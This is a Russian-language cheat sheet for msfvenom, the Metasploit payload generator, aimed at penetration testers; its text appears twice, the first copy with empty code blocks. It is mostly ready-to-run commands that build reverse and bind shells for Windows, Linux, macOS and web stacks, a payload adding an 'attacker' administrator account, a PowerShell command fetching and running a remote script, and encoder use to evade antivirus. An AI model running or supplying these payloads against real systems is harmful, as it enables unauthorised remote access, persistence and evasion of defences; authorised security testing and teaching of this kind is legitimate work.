В этой статье мы продолжим интересную и полезную тему шпаргалок по различным инструментам для пентеста. Ранее мы уже рассмотрели тему различных полезностей для пентестера, которые могут пригодиться при проведении тестирования на проникновение. Сегодня мы продолжим эту тему, но говорить будем уже непосредственно о Msfvenom.
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. В настоящий момент данная утилита является частью фреймворка Metasploit. Полезной нагрузкой (payload) является код или часть фрагмент вредоносного кода, который непосредственно выполняет деструктивное действие: удаляет данные, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению. Важно понимать, что для атакующего payload это то, что необходимо доставить на узел жертвы, для того, чтобы реализовать атаку. Конечно, лучше всего, когда код полезной нагрузки написан самостоятельно, в таком случае меньше вероятность его обнаружения средствами защиты. Но при проведении пентеста это не всегда возможно, и в таком случае, для генерации готовых пейлоадов можно воспользоваться специальными инструментами, например фреймворком Metasploit.
Данный фреймворк уже содержит в себе множество различных инструментов для реализации различных атак, и с помощью утилиты Msfvenom можно без особых проблем быстро сгенерировать нужную полезную нагрузку.
Вот базовый формат команды утилиты msfvenom:
Код: Скопировать в буфер обмена
Здесь PAYLOAD это та самая полезная загрузка
ENCODER – это алгоритмы, с помощью которых можно попытаться скрыться от средств обнаружения.
FORMAT – форматы файлов, которые мы получаем на выходе, например exe, dll, elf.
ENCODE COUNT – количество итераций кодирования
LHOST – IP адрес узла, к которому нужно подключиться
Также, может использоваться ключ –a для указания нужной архитектуры
Посмотреть доступные полезные нагрузки можно с помощью:
Код: Скопировать в буфер обмена
Кодировщики с помощью:
Код: Скопировать в буфер обмена
А форматы с помощью:
Код: Скопировать в буфер обмена
Также, при генерации полезных нагрузок не стоит забывать о так называемых “плохих” байтах. Это байты, которые не должны использоваться в наших пейлоадах. Например, в случае, если в пейлоаде, передаваемом уязвимому приложению через параметр командной строки будет байт 0х00, то приложение решит что передача данных окончена и проигнорирует все байты, переданные после нулей. Аналогично, плохими байтами являются 0х0a и 0x0d, так как они используются для завершения строки и при построчном вводе, все последующие байты также будут отброшены.
Msfvenom нужно сообщить, какие байты являются плохими, для того, чтобы он не использовал их в сгенерированных пейлоадах. Сделать это можно с помощью параметра –b.
Например, для вышеупомянутых байтов значения этих параметров будут следующими:
Код: Скопировать в буфер обмена
На этом, полагаю, вводной теории по msfvenom будет достаточно и можно перейти непосредственно к полезностям.
безопасной распространенной пользовательской ОС Windows. При проведении пентеста обычно требуется проверить возможности по созданию удаленного канала связи в атакуемую сеть. Как правило, для этого используют реверс шелл, то есть соединение инициируется машиной жертвы. Для создания такого пейлоада выполним следующую команду. LHOST и LPORT это соответственно адрес и порт на машине атакующего, к которой будет выполняться подключение
Код: Скопировать в буфер обмена
Прямой шелл используется значительно реже, так как для него машина атакующего и жертвы должна находиться в одной сети.
Код: Скопировать в буфер обмена
В процессе закрепления в системе пентестеру может потребоваться создать нового пользователя, сделать это можно с помощью следующей команды:
Код: Скопировать в буфер обмена
Если нам необходимо добавить пользователя в группу администраторов, то для этого можно выполнить следующую команду:
Код: Скопировать в буфер обмена
Еще один способ внедрения в систему жертвы, это загрузка скриптов из внешних источников. В примере ниже мы создаем пейлоад, который после запуска открывает powershell, и с его помощью загружает с внешнего ресурса файл скрипта для последующего выполнения.
Код: Скопировать в буфер обмена
Для того, чтобы усложнить обнаружение, мы можем прибегнуть к помощи кодировщиков, как в примере ниже:
Код: Скопировать в буфер обмена
На этом мы завершим рассмотрение пейлоадов для Windows и посмотрим, как аналогичные задачи можно решить для Linux.
Здесь общий принцип построения команд аналогичен рассмотренyому ранее для прямого и обратного шелла. В качестве формата выходного файла у нас будет использоваться ELF.
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Продолжая тему шеллов для операционных систем рассмотрим также пейлоады для MacOS.
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
В случае, если уязвимый ресурс использует Windows и ASP/x, то наш реверс шелл почти ничем не будет отличаться от приведенных ранее примеров для ОС Windows:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Множество веб ресурсов используют NodeJS и здесь в общем случае для нашего пейлоада не потребуется никакой выходной формат
Код: Скопировать в буфер обмена
В результате на выходе мы получим следующий скрипт
По сути все три команды будут идентичны:
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Код: Скопировать в буфер обмена
Автор @Andrey_Biryukov
Источник habr.com
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. В настоящий момент данная утилита является частью фреймворка Metasploit. Полезной нагрузкой (payload) является код или часть фрагмент вредоносного кода, который непосредственно выполняет деструктивное действие: удаляет данные, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению. Важно понимать, что для атакующего payload это то, что необходимо доставить на узел жертвы, для того, чтобы реализовать атаку. Конечно, лучше всего, когда код полезной нагрузки написан самостоятельно, в таком случае меньше вероятность его обнаружения средствами защиты. Но при проведении пентеста это не всегда возможно, и в таком случае, для генерации готовых пейлоадов можно воспользоваться специальными инструментами, например фреймворком Metasploit.
Данный фреймворк уже содержит в себе множество различных инструментов для реализации различных атак, и с помощью утилиты Msfvenom можно без особых проблем быстро сгенерировать нужную полезную нагрузку.
Вот базовый формат команды утилиты msfvenom:
Код: Скопировать в буфер обмена
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
Здесь PAYLOAD это та самая полезная загрузка
ENCODER – это алгоритмы, с помощью которых можно попытаться скрыться от средств обнаружения.
FORMAT – форматы файлов, которые мы получаем на выходе, например exe, dll, elf.
ENCODE COUNT – количество итераций кодирования
LHOST – IP адрес узла, к которому нужно подключиться
Также, может использоваться ключ –a для указания нужной архитектуры
Посмотреть доступные полезные нагрузки можно с помощью:
Код: Скопировать в буфер обмена
msfvenom -l payloads
Кодировщики с помощью:
Код: Скопировать в буфер обмена
msfvenom -l encoders
А форматы с помощью:
Код: Скопировать в буфер обмена
msfvenom -l formats
Также, при генерации полезных нагрузок не стоит забывать о так называемых “плохих” байтах. Это байты, которые не должны использоваться в наших пейлоадах. Например, в случае, если в пейлоаде, передаваемом уязвимому приложению через параметр командной строки будет байт 0х00, то приложение решит что передача данных окончена и проигнорирует все байты, переданные после нулей. Аналогично, плохими байтами являются 0х0a и 0x0d, так как они используются для завершения строки и при построчном вводе, все последующие байты также будут отброшены.
Msfvenom нужно сообщить, какие байты являются плохими, для того, чтобы он не использовал их в сгенерированных пейлоадах. Сделать это можно с помощью параметра –b.
Например, для вышеупомянутых байтов значения этих параметров будут следующими:
Код: Скопировать в буфер обмена
-b "\x00\x0a\x0d"
На этом, полагаю, вводной теории по msfvenom будет достаточно и можно перейти непосредственно к полезностям.
Полезности для различных ОС
Начнем с рассмотрения разных полезных команд для самойКод: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
Прямой шелл используется значительно реже, так как для него машина атакующего и жертвы должна находиться в одной сети.
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
В процессе закрепления в системе пентестеру может потребоваться создать нового пользователя, сделать это можно с помощью следующей команды:
Код: Скопировать в буфер обмена
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
Если нам необходимо добавить пользователя в группу администраторов, то для этого можно выполнить следующую команду:
Код: Скопировать в буфер обмена
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators attacker /add" -f exe > pay.exe
Еще один способ внедрения в систему жертвы, это загрузка скриптов из внешних источников. В примере ниже мы создаем пейлоад, который после запуска открывает powershell, и с его помощью загружает с внешнего ресурса файл скрипта для последующего выполнения.
Код: Скопировать в буфер обмена
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
Для того, чтобы усложнить обнаружение, мы можем прибегнуть к помощи кодировщиков, как в примере ниже:
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
На этом мы завершим рассмотрение пейлоадов для Windows и посмотрим, как аналогичные задачи можно решить для Linux.
Здесь общий принцип построения команд аналогичен рассмотренyому ранее для прямого и обратного шелла. В качестве формата выходного файла у нас будет использоваться ELF.
Код: Скопировать в буфер обмена
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
Код: Скопировать в буфер обмена
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
Код: Скопировать в буфер обмена
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
Продолжая тему шеллов для операционных систем рассмотрим также пейлоады для MacOS.
Код: Скопировать в буфер обмена
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
Код: Скопировать в буфер обмена
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
Полезности для веб
Иногда уязвимости на веб ресурсах позволяют выполнить произвольный код и в таких случаях на помощью пентестеру приходят пейлоады для различных языков веб разработки. Например, если мы хотим организовать реверсивный шелл с помощью php скрипта, то нам необходимо выполнить следующую команду:Код: Скопировать в буфер обмена
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
В случае, если уязвимый ресурс использует Windows и ASP/x, то наш реверс шелл почти ничем не будет отличаться от приведенных ранее примеров для ОС Windows:
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
Код: Скопировать в буфер обмена
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
Множество веб ресурсов используют NodeJS и здесь в общем случае для нашего пейлоада не потребуется никакой выходной формат
Код: Скопировать в буфер обмена
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
В результате на выходе мы получим следующий скрипт
Скриптовые языки
Завершая тему полезностей для msfvenom рассмотрим генерацию пейлоадов для основных скриптовых языков: Perl, Python и Bash.По сути все три команды будут идентичны:
Код: Скопировать в буфер обмена
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
Код: Скопировать в буфер обмена
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
Код: Скопировать в буфер обмена
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
Заключение
Msfvenom предлагает богатый функционал по генерации различных полезных нагрузок в различных форматах и кодировках. С его помощью пентестер может попытаться обойти достаточно современные средства обнаружения и защиты. В статье мы рассмотрели только самые основные полезные нагрузки и другие функции msfvenom, однако на практике функционал утилиты гораздо шире.Автор @Andrey_Biryukov
Источник habr.com